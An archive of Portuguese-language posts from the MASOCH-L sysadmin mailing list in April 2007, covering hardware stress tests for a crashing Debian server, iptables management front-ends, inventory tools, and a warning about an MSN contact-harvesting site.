From rafaelpossa at gmail.com  Sun Apr  1 08:48:21 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Sun, 1 Apr 2007 08:48:21 -0300
Subject: [MASOCH-L] servidor travando sem motivo aparente
References: <00ac01c77224$808509a0$0301010a@OASIS><460D2203.8070603@acmesecurity.org><002801c77307$ae0336c0$0301010a@OASIS><42389.192.168.0.225.1175288953.squirrel@blue.bluesolutions.com.br><005d01c7731f$df07cfc0$0301010a@OASIS>
	<59678.192.168.0.225.1175353356.squirrel@blue.bluesolutions.com.br>
Message-ID: <000d01c77453$a735ffb0$0301010a@OASIS>

Ol?,

    Realmente n?o sei lhe dizer se o fato de ter modificado as op??es de USB 
na BIOS tenham mesmo solucionado o problema, afinal, ele sempre funcionou 
com essas op??es ativadas no Kernel 2.4 por quase 2 anos. E me lembro que 
sempre o USB aparecia no boot em algumas linhas.
    Com rela??o a mem?ria eu n?o sei lhe dizer tamb?m se o fato de eu ter 
retirado um dos pentes tenha melhorado a situa??o, mas ? bem prov?vel, pois 
o pente que eu retirei ? de Agosto de 1999, ou seja, tem quase 8 anos. Sobre 
o Memtest, eu deixei ele rodando umas 24horas mais ou menos e nenhum erro 
foi apresentado, por?m depois com Kernel 2.6 e ainda com o segundo pente 
antigo eu rodei ele rapidamente para fazer alguns testes e detectou um erro 
(n?o sei dizer qual)...
    Bom, ? isso, at? agora o servidor se mostrou est?vel, mais tarde vou por 
o pente de novo e se os problemas voltarem, vai estar claro que ele era o 
causador. O ?nico problema que tenho agora com o Kernel 2.6 ? um tal de 
NETDEV WATCHDOG que fica aparecendo no console ao mesmo tempo que a conex?o 
eth0 ? resetada, um bug inexistente no 2.4...


Agrade?o a ajuda de todos!
Abra?o,
Rafael Possamai




----- Original Message ----- 
From: "Fernando Ulisses dos Santos" <fernando at bluesolutions.com.br>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Saturday, March 31, 2007 12:02 PM
Subject: Re: [MASOCH-L] servidor travando sem motivo aparente


Rafael,

As altera??es na BIOS realmente tem l?gica em resolver, mas n?o explica o
servidor ter funcionado por um per?odo longo e depois ter apresentado
problemas, a n?o ser que a BIOS tenha zerado por algum motivo e voc? n?o
percebeu (pico de energia talvez).

Sobre a mem?ria, o memtest costuma pegar os problemas, mas j? vi casos do
erro s? aparecer depois de repetir o teste v?rias e v?rias vezes (precisei
deixar 4 horas pra ver o erro aparecer). Tamb?m j? vi vers?es mais antigas
do memtest n?o detectar erros que s?o encontrados com vers?es mais novas.

A instala??o mais enxuta n?o deve influenciar na estabilidade se o
hardware estiver ok.

--
Fernando Ulisses dos Santos
Blue Solutions - Solu??es em TI
19-3551-3898 / 11-4062-9218
fernando at bluesolutions.com.br
Certificado Linux LPIC-1

Rafael Possamai escreveu:
> Ol? Fernando,
>
>     Na realidade achei muito interessante os testes, n?o tinha pensado
> nisso. Eu executei o teste de c?pias de arquivos (aquele de 1gb) at? a
> c?pia
> 5 e n?o houve diferen?as(o diff n?o mostrou nada) e agora estou executando
> o
> teste do md5sum junto com o do badblocks pra estressar o CPU e o HD como
> indicaste e o server est? forte at? agora.
>     Eu verifiquei tudo que o pessoal andou comentando tamb?m e creio que
> desabilitar o USB controller na BIOS possa trazer um bom resultado. A
> ?ltima
> coisa que espero fazer ? recompilar o kernel.
>
> OBS.: nesta segunda instala??o al?m de mudar pra kernel 2.6 e para
> ReiserFS
> eu utilizei o debian net-install e ele est? bem seco(300mb), n?o deixei o
> base-config instalar aqueles pacotes por padr?o e desativei no rcx.d todos
> os servi?os desnecess?rios. n?o sei se ? por isso que ele tem se mostrado
> mais est?vel agora, espero que tenha sido por causa das modifica??es na
> bios
> e na troca de um pente de mem?ria, menos pior.
>
> Grato,
> Rafael Possamai
>
>
>
> ----- Original Message -----
> From: "Fernando Ulisses dos Santos" <fernando at bluesolutions.com.br>
> To: "Mail Aid and Succor, On-line Comfort and Help"
> <masoch-l at eng.registro.br>
> Sent: Friday, March 30, 2007 6:09 PM
> Subject: Re: [MASOCH-L] servidor travando sem motivo aparente
>
>
> Rafael,
>
> Pela descri??o que voc? est? dando, funcionava, come?ou a travar depois de
> 2 anos rodando, pode ser realmente desgaste do hardware.
>
> Voc? est? medindo temperatura de processador, temperatura de placa m?e,
> sa?da das voltagens da fonte? A m?quina ? montada ou ? de grife?
>
> Voc? disse que estressou a mem?ria com o memtest, mas tentou estressar CPU
> e HD? N?o, tente ent?o:
>
> md5sum /dev/zero  # execute esse comando para a quantidade de
> processadores que tiver, deixe rodar de 10 min a 30 min
>
> badblocks -sv /dev/hda # ou /dev/sda, etc, dependendo da sua instala??o,
> rode 1 para cada HD, tudo de uma vez
>
> Esses dois comandos podem ser feitos com o servidor rodando (claro, ir?o
> prejudicar na performance). ? interessante, inclusive, rodar tudo junto,
> pra estressar de verdade.
>
> Acompanhe a temperatura do CPU enquanto roda o md5sum, veja se ele n?o
> apresenta o problema quando chegar em uma determinada temperatura. Para
> acompanhar a temperatura, use o comando sensors do pacote lm_sensors.
>
> O badblocks varre o HD em busca de badblock, ? interessante nesse caso por
> causar grande trasnfer?ncia de dados.
>
> Verifique a temperatura do HD durante o teste usando o comando smartctl do
> pacote smarttools. A maioria dos HDs foi projetada para trabalhar at? 50
> graus no m?ximo. De qualquer forma, o HD ajuda a aquecer o interior do
> gabinete, e pode comprometer outras pe?as.
>
> No teste badblocks ele n?o testa a integridade na transfer?ncia de dados.
> Um teste legal seria criar um arquivo grande, copiar ele v?rias vezes e
> comparar no final, isso testa HD, CPU, DMA, mem?ria, etc, pode usar:
>
> dd if=/dev/zero of=0 bs=1024 count=1024000 # vai gerar arquivo de 1Gb
> chamado 0
> cp 0 1
> cp 1 2
> cp 2 3
> cp 3 4
> cp 4 5
> diff 5 1
>
> N?o pode haver diferen?as entre o ?ltimo e o primeiro arquivo.
>
> Se conseguir travar, algumas considera??es:
> - em m?quinas montadas, as fontes usadas que s?o de "450W", n?o atingem
> esse desempenho e com passar do tempo perdem a efici?ncia, pode testar
> trocar a fonte por uma convencional para ver se resolve o problema,
> resolvendo, compre uma fonte profissional, exemplo: Seventeam 350W
> - coolers, mesmo rodando, podem perder efici?ncia com o passar do tempo,
> se a temperatura subiu muito no teste do md5sum, considere trocar
> - pasta t?rmica no processador (em m?quinas montadas), mesma considera??o
> do cooler
> - em m?quinas montadas, alguns fabricantes de placas m?e de baixo custo
> est?o deixando de incluir dissipador no Chipset, na revista PC&CIA de uns
> 2 meses atr?s eles relataram um que chegava a mais de 100 graus, e sugerem
> instalar dissipadores quando vier sem.
>
> ? isso, espero que ajude.
>
> --
> Fernando Ulisses dos Santos
> Blue Solutions - Solu??es em TI
> 19-3551-3898 / 11-4062-9218
> fernando at bluesolutions.com.br
> Certificado Linux LPIC-1
>
> Rafael Possamai escreveu:
>> opa, agrade?o pela ajuda.
>> bom, voc? fala de um gcc nativo no kernel?
>> o que eu achei estranho ? que de ont?m para hoje deixei o sistema
>> rodando(ocioso ? claro) e ele n?o apresentou nenhum problema. agora
>> pouco
>> atualizei o kernel pelo apt (n?o por isto, mas por que estava aparecendo
>> na
>> lista de upgrades) e at? agora nenhum erro ainda. ah, como indicaram, no
>> ?ltimo reboot eu desabilitei o USB Controller na CMOS. bom, vou
>> verificar
>> tudo que o pessoal falou e se n?o tiver jeito mesmo provavelmente ? o
>> problema de "junta...".
>>
>> abra?o,
>> rafael possamai
>>
>>
>>
>>
>> ----- Original Message -----
>> From: "Jorge Luiz Correa" <jorge at acmesecurity.org>
>> To: "Mail Aid and Succor, On-line Comfort and Help"
>> <masoch-l at eng.registro.br>
>> Sent: Friday, March 30, 2007 11:43 AM
>> Subject: Re: [MASOCH-L] servidor travando sem motivo aparente
>>
>>
>> Na Internet h? diversos depoimentos de pessoas com 'crashes' deste tipo,
>> utilizando o mesmo sistema. Parece que na maioria, o problema est? em
>> configura??es de otimiza??o do arquivo make.conf ou vers?es antigas do
>> GCC. Como solu??o (em diversos forums), aconselha-se trocar o GCC para
>> uma vers?o mais nova e recompilar o kernel. Voc? pode gerar um kernel
>> otimizado para o servidor. E como ? Debian, pode gerar pacote :P
>>
>> http://www.dicas-l.com.br/dicas-l/20031121.php
>>
>> Ainda, dependendo do hardware utilizado (principalmente se for antigo) o
>> kernel 2.6 parece n?o combinar muito bem, n?o mantendo o suporte a
>> alguns dispositivos.
>>
>> Abra?os!
>> :)
>>
>> Rafael Possamai wrote:
>>> ol? pessoal,
>>>
>>>     tenho uma m?quina que come?ou a dar problemas nestes ?ltimos dias,
>>> estou rodando debian nela e houve v?rios 'kernel panic' sem motivo
>>> aparente para mim. j? troquei o HD, tirei um dos pentes de mem?ria e
>>> fiz
>>> um memtest de mais ou menos 24horas. nenhuma das alternativas
>>> funcionou,
>>> creio que interpretando os c?digos que aparecem no erro seja mais f?cil
>>> descobrir, por?m neste casso os mesmos parecem grego pra mim, hehe.
>>>     algu?m poderia dar uma for?a? gravei dois kernel panic que
>>> aconteceram
>>> recentemente:
>>> http://www.ext3.com.br/server/kernelpanic.jpg
>>> http://www.ext3.com.br/server/kernelpanic2.jpg (agora pouco)
>>>
>>>
>>> grato,
>>> rafael possamai
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>
>>
>>
>> --
>> jorge (shift+2) acmesecurity . org
>> ACME! - Advanced Counter-Measures Environment
>> Computer Security Research - Unesp
>>
>>
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From lyra at pop-pr.rnp.br  Mon Apr  2 12:57:25 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Mon, 2 Apr 2007 12:57:25 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables
In-Reply-To: <002101c7738a$ede69060$0301010a@OASIS>
References: <460C06F8.2040606@getnet-tecnologia.com.br>
	<002101c7738a$ede69060$0301010a@OASIS>
Message-ID: <200704021257.25550.lyra@pop-pr.rnp.br>

Ois,

	Eu tb sou da turma dos scripts... Mas o que eu costumo fazer 
? "modularizar" meus scripts. Em geral tenho um script principal que 
nada mais faz do que separar o trafego em chains, exemplo: internet, 
intranet e DMZ. Em seguida fa?o scripts que populem cada uma dessas 
chains. Em alguns casos mais especificos, maquinas com muitas regras 
especiais ganham as suas proprias chains. O legal disso ? que vc pode 
mudar facilmente todas as regras de uma determinada chain, sem afetar o 
trafego do resto do firewall.

On Saturday 31 March 2007 08:51, Rafael Possamai wrote:
>  Concordo, utilizar um script ? melhor pelo fato de voc? fazer ele
> inteiro, saber onde est?o as regras, qual l?gica ? utilizada e quais
> detalhes voc? tem de deixar para que a coisa funcione redondinha... ?
> s? se acostumar, mas claro, se for algum muito grande acho que alguma
> interface pode trazer ajuda se ela apenas mostrar as regras e
> facilitar a vida em alguns aspectos.
>
>
>  Rafael Possamai
>
>
>  ----- Original Message -----
>  From: "Juliano Dapper" <juliano.dapper at getnet-tecnologia.com.br>
>  Subject: [MASOCH-L] Interface para gerenciar iptables
>
>  Algu?m recomenda alguma interface gr?fica/web para gerenciar regras
>  iptables, gerar relatorios, etc ?
>  Algo que possa gerenciar varias m?quinas firewall remotamente, sem
> ser o fwbuilder.

-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  Programmers that do not comprehend the Tao are always running out of 
time and space for their programs. Programmers that comprehend the Tao 
always have enough time and space to accomplish their goals. 
  How could it be otherwise? 
						The Tao Of Programing


From silvio.cesar at unigranrio.edu.br  Mon Apr  2 13:55:09 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Mon, 02 Apr 2007 13:55:09 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables
In-Reply-To: <200704021257.25550.lyra@pop-pr.rnp.br>
References: <460C06F8.2040606@getnet-tecnologia.com.br><002101c7738a$ede6906	0$0301010a@OASIS>
	<200704021257.25550.lyra@pop-pr.rnp.br>
Message-ID: <4611356D.1090401@unigranrio.edu.br>

Procure por "tuxfrw" bem bacana, organizado e modular.

Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


Christian Lyra escreveu:
> Ois,
> 
> 	Eu tb sou da turma dos scripts... Mas o que eu costumo fazer 
> ? "modularizar" meus scripts. Em geral tenho um script principal que 
> nada mais faz do que separar o trafego em chains, exemplo: internet, 
> intranet e DMZ. Em seguida fa?o scripts que populem cada uma dessas 
> chains. Em alguns casos mais especificos, maquinas com muitas regras 
> especiais ganham as suas proprias chains. O legal disso ? que vc pode 
> mudar facilmente todas as regras de uma determinada chain, sem afetar o 
> trafego do resto do firewall.
> 
> On Saturday 31 March 2007 08:51, Rafael Possamai wrote:
>>  Concordo, utilizar um script ? melhor pelo fato de voc? fazer ele
>> inteiro, saber onde est?o as regras, qual l?gica ? utilizada e quais
>> detalhes voc? tem de deixar para que a coisa funcione redondinha... ?
>> s? se acostumar, mas claro, se for algum muito grande acho que alguma
>> interface pode trazer ajuda se ela apenas mostrar as regras e
>> facilitar a vida em alguns aspectos.
>>
>>
>>  Rafael Possamai
>>
>>
>>  ----- Original Message -----
>>  From: "Juliano Dapper" <juliano.dapper at getnet-tecnologia.com.br>
>>  Subject: [MASOCH-L] Interface para gerenciar iptables
>>
>>  Algu?m recomenda alguma interface gr?fica/web para gerenciar regras
>>  iptables, gerar relatorios, etc ?
>>  Algo que possa gerenciar varias m?quinas firewall remotamente, sem
>> ser o fwbuilder.
> 


From aljr at lbr.com.br  Mon Apr  2 17:42:32 2007
From: aljr at lbr.com.br (Alfredo Junior)
Date: Mon, 02 Apr 2007 17:42:32 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables - Meio OT
In-Reply-To: <200704021257.25550.lyra@pop-pr.rnp.br>
References: <460C06F8.2040606@getnet-tecnologia.com.br>	<002101c7738a$ede69060$0301010a@OASIS>
	<200704021257.25550.lyra@pop-pr.rnp.br>
Message-ID: <46116AB8.7000408@lbr.com.br>

Christian Lyra escreveu:
> Ois,
>
> 	Eu tb sou da turma dos scripts... Mas o que eu costumo fazer 
> ? "modularizar" meus scripts. Em geral tenho um script principal que 
> nada mais faz do que separar o trafego em chains, exemplo: internet, 
> intranet e DMZ. Em seguida fa?o scripts que populem cada uma dessas 
> chains. Em alguns casos mais especificos, maquinas com muitas regras 
> especiais ganham as suas proprias chains. O legal disso ? que vc pode 
> mudar facilmente todas as regras de uma determinada chain, sem afetar o 
> trafego do resto do firewall.
>   
Os scripts acho legal mas quando vc mesmo administra o firewall, mas 
quando o usu?rio final tem este papel ? bem complicado.
Eu trabalhava assim com os meus clientes mas tive alguns problemas por 
exemplo criar uma regra para liberar o acesso para um determinado IP.
Ai voc? cria aquele script magn?fico ai o usu?rio vai inserir uma nova 
regra. 
no inicio do script est? assim
#!/bin/bash
ai sem querer o usu?rio apaga o # ai j? era o teu script magn?fico foi 
por ?gua abaixo.

Tive v?rios problemas desses, outro muito comum ? o usu?rio criar uma 
regra e ai ao inv?s de digitar ACCEPT digita ACEPPT. Ai vc pelo telefone 
se mata para descrobrir que o problema foi erro de digita??o.

Ai o que fiz falei comigo mesmo vou ter que melhorar isso pois o stress 
? muito grande quando a internet para, hoje o que seria dos homens sem a 
internet.
Comecei um projeto que tem como a finalidade ser um front-end tanto para 
o iptables quanto para o squid, o usu?rio configura as regras atrav?s de 
uma interface web e uma outra coisa interessante ? que voc? pode criar 
pol?ticas de acesso onde uma pol?tica ? composta por 4 ?tens

1) Hor?rio (Que hor?rio a pol?tica vai ter efeito)
2) Grupo de Usu?rios (Quais grupos de usu?rios v?o se beneficiar da 
pol?tica)
3) Regra (Aqui entra a parte do Iptables)
4) Filtro de Conte?do (Aqui est? a parte do SQUID)

Dessa forma fica mais f?cil de administrar, pois se um um novo 
colaborador entra na empresa basta coloca-lo em um ou mais grupos de 
usu?rios que apartir daquele momento ele vai ter o seu acesso ? internet.

Caso voc?s tenham interesse o projeto encontra-se em 
http://www.fireuau.org, est? sobre a licen?a GPL e se quiserem ver uma 
demonstra??o basta acessar
http://www.demo.fireuau.org  usuario: demo senha: demo.




From rafaelpossa at gmail.com  Mon Apr  2 19:38:04 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Mon, 2 Apr 2007 19:38:04 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables - Meio OT
References: <460C06F8.2040606@getnet-tecnologia.com.br>	<002101c7738a$ede69060$0301010a@OASIS><200704021257.25550.lyra@pop-pr.rnp.br>
	<46116AB8.7000408@lbr.com.br>
Message-ID: <001c01c77577$968d2920$0200a8c0@OASIS>

Me parece muito bom, eu gosto de scripts, mas esse sistema foi bem bolado... 
Com ele voc? faz qualquer tipo de regra ou ? apenas para filtros b?sicos 
(input, output, accept, deny)?

Parab?ns.

Rafael



----- Original Message ----- 
From: "Alfredo Junior" <aljr at lbr.com.br>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Monday, April 02, 2007 5:42 PM
Subject: Re: [MASOCH-L] Interface para gerenciar iptables - Meio OT


> Christian Lyra escreveu:
>> Ois,
>>
>> Eu tb sou da turma dos scripts... Mas o que eu costumo fazer
>> ? "modularizar" meus scripts. Em geral tenho um script principal que
>> nada mais faz do que separar o trafego em chains, exemplo: internet,
>> intranet e DMZ. Em seguida fa?o scripts que populem cada uma dessas
>> chains. Em alguns casos mais especificos, maquinas com muitas regras
>> especiais ganham as suas proprias chains. O legal disso ? que vc pode
>> mudar facilmente todas as regras de uma determinada chain, sem afetar o
>> trafego do resto do firewall.
>>
> Os scripts acho legal mas quando vc mesmo administra o firewall, mas
> quando o usu?rio final tem este papel ? bem complicado.
> Eu trabalhava assim com os meus clientes mas tive alguns problemas por
> exemplo criar uma regra para liberar o acesso para um determinado IP.
> Ai voc? cria aquele script magn?fico ai o usu?rio vai inserir uma nova
> regra.
> no inicio do script est? assim
> #!/bin/bash
> ai sem querer o usu?rio apaga o # ai j? era o teu script magn?fico foi
> por ?gua abaixo.
>
> Tive v?rios problemas desses, outro muito comum ? o usu?rio criar uma
> regra e ai ao inv?s de digitar ACCEPT digita ACEPPT. Ai vc pelo telefone
> se mata para descrobrir que o problema foi erro de digita??o.
>
> Ai o que fiz falei comigo mesmo vou ter que melhorar isso pois o stress
> ? muito grande quando a internet para, hoje o que seria dos homens sem a
> internet.
> Comecei um projeto que tem como a finalidade ser um front-end tanto para
> o iptables quanto para o squid, o usu?rio configura as regras atrav?s de
> uma interface web e uma outra coisa interessante ? que voc? pode criar
> pol?ticas de acesso onde uma pol?tica ? composta por 4 ?tens
>
> 1) Hor?rio (Que hor?rio a pol?tica vai ter efeito)
> 2) Grupo de Usu?rios (Quais grupos de usu?rios v?o se beneficiar da
> pol?tica)
> 3) Regra (Aqui entra a parte do Iptables)
> 4) Filtro de Conte?do (Aqui est? a parte do SQUID)
>
> Dessa forma fica mais f?cil de administrar, pois se um um novo
> colaborador entra na empresa basta coloca-lo em um ou mais grupos de
> usu?rios que apartir daquele momento ele vai ter o seu acesso ? internet.
>
> Caso voc?s tenham interesse o projeto encontra-se em
> http://www.fireuau.org, est? sobre a licen?a GPL e se quiserem ver uma
> demonstra??o basta acessar
> http://www.demo.fireuau.org  usuario: demo senha: demo.
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 



From aljr at lbr.com.br  Mon Apr  2 23:33:56 2007
From: aljr at lbr.com.br (=?UTF-8?B?QWxmcmVkbyBKw7puaW9y?=)
Date: Mon, 02 Apr 2007 23:33:56 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables - Meio OT
In-Reply-To: <001c01c77577$968d2920$0200a8c0@OASIS>
References: <460C06F8.2040606@getnet-tecnologia.com.br>	<002101c7738a$ede69060$0301010a@OASIS><200704021257.25550.lyra@pop-pr.rnp.br>	<46116AB8.7000408@lbr.com.br>
	<001c01c77577$968d2920$0200a8c0@OASIS>
Message-ID: <4611BD14.6020104@lbr.com.br>

Rafael Possamai escreveu:
> Me parece muito bom, eu gosto de scripts, mas esse sistema foi bem bolado... 
> Com ele voc? faz qualquer tipo de regra ou ? apenas para filtros b?sicos 
> (input, output, accept, deny)?
>   
Tem uma tabela onde eu registro as a??es veja em global -> a??o.

Eu cadastro a a??o da regra basicamente o que vem ap?s o -j do iptables.
> Parab?ns.
>   
Obrigado.



From juliano.dapper at getnet-tecnologia.com.br  Tue Apr  3 08:43:08 2007
From: juliano.dapper at getnet-tecnologia.com.br (Juliano Dapper)
Date: Tue, 03 Apr 2007 08:43:08 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables - Meio OT
In-Reply-To: <4611BD14.6020104@lbr.com.br>
References: <460C06F8.2040606@getnet-tecnologia.com.br>	<002101c7738a$ede69060$0301010a@OASIS><200704021257.25550.lyra@pop-pr.rnp.br>	<46116AB8.7000408@lbr.com.br>	<001c01c77577$968d2920$0200a8c0@OASIS>
	<4611BD14.6020104@lbr.com.br>
Message-ID: <46123DCC.5060608@getnet-tecnologia.com.br>

A id?ia ? ter uma interface que me possibilite gerar alguns relat?rios 
gerenciais, com interface
"bonitinha" para os gerentes.

Sempre utilizei scripts tamb?m , mas agora a necessidade ? outra.

Alfredo J?nior wrote:
> Rafael Possamai escreveu:
>> Me parece muito bom, eu gosto de scripts, mas esse sistema foi bem bolado... 
>> Com ele voc? faz qualquer tipo de regra ou ? apenas para filtros b?sicos 
>> (input, output, accept, deny)?
>>   
> Tem uma tabela onde eu registro as a??es veja em global -> a??o.
> 
> Eu cadastro a a??o da regra basicamente o que vem ap?s o -j do iptables.
>> Parab?ns.
>>   
> Obrigado.
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l

-- 



From fequestions at gmail.com  Tue Apr  3 17:57:31 2007
From: fequestions at gmail.com (Fernando Cordeiro)
Date: Tue, 3 Apr 2007 17:57:31 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?RES=3A_Invent=E1rio?=
In-Reply-To: <1174605661.8507.0.camel@localhost>
References: <4602C201.8040102@gustavo.eti.br>
	<00dc01c76cb1$123e9150$36bbb3f0$@org>
	<1174605661.8507.0.camel@localhost>
Message-ID: <deb3d7df0704031357s1a53c517v73d6df7daf65ab66@mail.gmail.com>

se ajudar de alguma forma, tenho hinventory rodando na minha rede e
roda mto bem.
s? n?o fiz nada em rela??o aos servidores mas suporte ele tem

http://www.h-inventory.com/

Em 22/03/07, guto carvalho<listas at gutocarvalho.net> escreveu:
> Talvez o caciq lhe sirva... tecnologia 100% brazuca, governo eletr?nico,
> sofware livre, claro ;)
>
> http://guialivre.governoeletronico.gov.br/cacic/sisp2/
>
> Em Qui, 2007-03-22 ?s 15:36 -0300, Renato Frederick escreveu:
> > Utilizo o ocsinventory
> >
> > http://ocsinventory.sourceforge.net/
> >
> > dependendo do tamanho de sua rede ele pode lhe atender.
> >
> >
> > > -----Mensagem original-----
> > > De: masoch-l-bounces at eng.registro.br [mailto:masoch-l-
> > > bounces at eng.registro.br] Em nome de Gustavo Mateus
> > > Enviada em: quinta-feira, 22 de mar?o de 2007 14:51
> > > Para: Mail Aid and Succor, On-line Comfort and Help
> > > Assunto: [MASOCH-L] Invent?rio
> > >
> > > Pessoal,
> > >
> > > O que voc?s usam para invent?rio de servidores, ips, dom?nios e hosts?
> > > Eu to pensando em desenvolver algo mas antes queria ver o que voc?s
> > > usam.
> > >
> > > []'s
> > >
> > > Gustavo
> > > __
> > > masoch-l list
> > > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> >
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 

Fernando Cordeiro
Supervisor de Inform?tica e TI
* Onde Open-source, always Open-source *


From aljr at lbr.com.br  Tue Apr  3 18:01:42 2007
From: aljr at lbr.com.br (Alfredo Junior)
Date: Tue, 03 Apr 2007 18:01:42 -0300
Subject: [MASOCH-L] Interface para gerenciar iptables - Meio OT
In-Reply-To: <46123DCC.5060608@getnet-tecnologia.com.br>
References: <460C06F8.2040606@getnet-tecnologia.com.br>	<002101c7738a$ede69060$0301010a@OASIS><200704021257.25550.lyra@pop-pr.rnp.br>	<46116AB8.7000408@lbr.com.br>	<001c01c77577$968d2920$0200a8c0@OASIS>	<4611BD14.6020104@lbr.com.br>
	<46123DCC.5060608@getnet-tecnologia.com.br>
Message-ID: <4612C0B6.5050707@lbr.com.br>

Juliano Dapper escreveu:
> A id?ia ? ter uma interface que me possibilite gerar alguns relat?rios 
> gerenciais, com interface
> "bonitinha" para os gerentes.
>   
Certo, entendo. vc poderia me passar quais as necessidades ? Quais tipos 
de relat?rio ?
Pois estou precisando de id?ias.

Obrigado.



From edison at coslinux.com.br  Tue Apr  3 18:10:27 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Tue, 03 Apr 2007 14:10:27 -0700
Subject: [MASOCH-L] Alerta: http://www.CheckMessenger.net <--- Olhe quem
 eliminou voce do MSN sem voce ter notado!!!
In-Reply-To: <4612C0B6.5050707@lbr.com.br>
References: <460C06F8.2040606@getnet-tecnologia.com.br>	<002101c7738a$ede69060$0301010a@OASIS><200704021257.25550.lyra@pop-pr.rnp.br>	<46116AB8.7000408@lbr.com.br>	<001c01c77577$968d2920$0200a8c0@OASIS>	<4611BD14.6020104@lbr.com.br>	<46123DCC.5060608@getnet-tecnologia.com.br>
	<4612C0B6.5050707@lbr.com.br>
Message-ID: <4612C2C3.3000606@coslinux.com.br>

Pessoal,

Verifiquei que o endere?o web referido no assunto consta nos logs de 
acesso e fui verificar pessoalmente do que se trata.

Como pode ser notado pelo "slogam", o site promete informar quem te 
bloqueou no MSN, mas na verdade apenas mostra a sua lista de contatos e 
os contatos que voc? bloqueou.

Bom, j? d? para ter no??o do que pode ser feito na m?o de spamers ou 
pessoas m?s intencionadas, n??

Fica o alerta!

Edison


From rafaelpossa at gmail.com  Tue Apr  3 18:17:08 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Tue, 3 Apr 2007 18:17:08 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?RES=3A_Invent=E1rio?=
References: <4602C201.8040102@gustavo.eti.br><00dc01c76cb1$123e9150$36bbb3f0$@org><1174605661.8507.0.camel@localhost>
	<deb3d7df0704031357s1a53c517v73d6df7daf65ab66@mail.gmail.com>
Message-ID: <003e01c77635$718c68c0$0200a8c0@OASIS>

Nesse H-Inventory vc adiciona os desktops ou ele procura e faz a lista 
automaticamente?


Rafael



----- Original Message ----- 
From: "Fernando Cordeiro" <fequestions at gmail.com>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Tuesday, April 03, 2007 5:57 PM
Subject: Re: [MASOCH-L] RES: Invent?rio


se ajudar de alguma forma, tenho hinventory rodando na minha rede e
roda mto bem.
s? n?o fiz nada em rela??o aos servidores mas suporte ele tem

http://www.h-inventory.com/

Em 22/03/07, guto carvalho<listas at gutocarvalho.net> escreveu:
> Talvez o caciq lhe sirva... tecnologia 100% brazuca, governo eletr?nico,
> sofware livre, claro ;)
>
> http://guialivre.governoeletronico.gov.br/cacic/sisp2/
>
> Em Qui, 2007-03-22 ?s 15:36 -0300, Renato Frederick escreveu:
> > Utilizo o ocsinventory
> >
> > http://ocsinventory.sourceforge.net/
> >
> > dependendo do tamanho de sua rede ele pode lhe atender.
> >
> >
> > > -----Mensagem original-----
> > > De: masoch-l-bounces at eng.registro.br [mailto:masoch-l-
> > > bounces at eng.registro.br] Em nome de Gustavo Mateus
> > > Enviada em: quinta-feira, 22 de mar?o de 2007 14:51
> > > Para: Mail Aid and Succor, On-line Comfort and Help
> > > Assunto: [MASOCH-L] Invent?rio
> > >
> > > Pessoal,
> > >
> > > O que voc?s usam para invent?rio de servidores, ips, dom?nios e hosts?
> > > Eu to pensando em desenvolver algo mas antes queria ver o que voc?s
> > > usam.
> > >
> > > []'s
> > >
> > > Gustavo
> > > __
> > > masoch-l list
> > > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> >
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 

Fernando Cordeiro
Supervisor de Inform?tica e TI
* Onde Open-source, always Open-source *
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From david at infonet.com.br  Wed Apr  4 09:49:22 2007
From: david at infonet.com.br (david at infonet.com.br)
Date: Wed, 04 Apr 2007 09:49:22 -0300
Subject: [MASOCH-L] reparo em unidade de Fita Dat
Message-ID: <20070404094922.27lkdedmo0c0cogg@wbeta.infonet.com.br>



   Ol? pessoal,

   Gostaria de indica??es de voces de empresas que trabalhem com  
manuten??o de Unidades de fita DAT, pode ser em qualquer regi?o do  
Brasil. Sempre trabalhava com a ControleNet, mas o atendimento l?  
tornou-se prec?rio.



David Magno Santos de Almeida
Suporte T?cnico
InfoNet - Solu??es Internet
(0xx79) 2106-8000/  (0xx79) 9978-7925
david at infonet.com.br



From rogerpop at gmail.com  Wed Apr  4 10:24:18 2007
From: rogerpop at gmail.com (=?ISO-8859-1?Q?Rog=E9rio_Moura?=)
Date: Wed, 4 Apr 2007 10:24:18 -0300
